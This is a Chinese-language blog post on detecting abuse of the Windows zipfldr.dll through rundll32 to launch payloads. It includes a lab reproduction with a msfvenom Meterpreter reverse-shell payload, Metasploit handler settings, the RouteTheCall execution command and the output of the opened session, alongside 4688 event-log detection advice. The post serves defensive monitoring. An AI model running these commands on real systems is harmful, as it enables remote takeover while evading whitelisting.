监控白名单Zipfldr.dll执行Payload

简介

zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件,同样该工具支持WinXP-Win10 全版本,zipfldr.dll所在路径已被系统添加PATH环境变量中,因此zipfldr.dll命令可识别,但由于为dll文件,需调用rundll32.exe来执行。

补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用,同样也可以在不同版本操作系统中部署sysmon,通过sysmon日志进行监控。

Windows 2003 默认位置:

C:\Windows\System32\zipfldr.dll

C:\Windows\SysWOW64\zipfldr.dll

Windows 7 默认位置:

C:\Windows\System32\zipfldr.dll

C:\Windows\SysWOW64\zipfldr.dll

检测日志

windows 安全日志(需要自行配置)

测试复现

环境准备

攻击机:Kali2019

靶机:windows server 2012

攻击分析

生成payload.dll

root@12306Br0:~# msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\x0b' LHOST=192.168.126.146 LPORT=4444 -f exe > shell.exe

执行监听

攻击机,注意配置set AutoRunScript migrate f (AutoRunScript是msf中一个强大的自动化的后渗透工具,这里migrate参数是迁移木马到其他进程)

msf5 > use exploits/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.126.146
lhost => 192.168.126.146
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > set AutoRunScript migrate f
AutoRunScript => migrate f
msf5 exploit(multi/handler) > exploit

靶机执行payload

rundll32.exe zipfldr.dll,RouteTheCall .\shell.exe #shell.exe存放路径下执行

反弹shell

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.126.146:4444
[*] Sending stage (180291 bytes) to 192.168.126.156
[*] Meterpreter session 6 opened (192.168.126.146:4444 -> 192.168.126.156:49176) at 2020-04-13 10:54:22 +0800
[*] Session ID 6 (192.168.126.146:4444 -> 192.168.126.156:49176) processing AutoRunScript 'migrate f'
[!] Meterpreter scripts are deprecated. Try post/windows/manage/migrate.
[!] Example: run post/windows/manage/migrate OPTION=value [...]

meterpreter > getuid
Server username: WIN-IFPMACUK8BT\Administrator

日志分析

安全日志能够清晰的记录命令行参数,截取windows安全事件4688进程创建部分内容:

进程信息: #4688-1
新进程 ID:0x918
新进程名称:C:\Windows\System32\rundll32.exe
令牌提升类型:TokenElevationTypeDefault (1)
创建者进程 ID:0x948
进程命令行:rundll32.exe  zipfldr.dll,RouteTheCall .\shell.exe

进程信息: #4688-2
新进程 ID:0x94c
新进程名称:C:\Users\Administrator\Desktop\a\shell.exe
令牌提升类型:TokenElevationTypeDefault (1)
创建者进程 ID:0x918
进程命令行:"C:\Users\Administrator\Desktop\a\shell.exe"

监控思路

无具体检测规则,可根据进程创建事件4688/1(进程名称、命令行)进行监控。本监控方法需要自行安装配置审核策略/sysmon。

参考推荐

基于白名单的Payload:https://blog.csdn.net/weixin_30790841/article/details/101848854

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章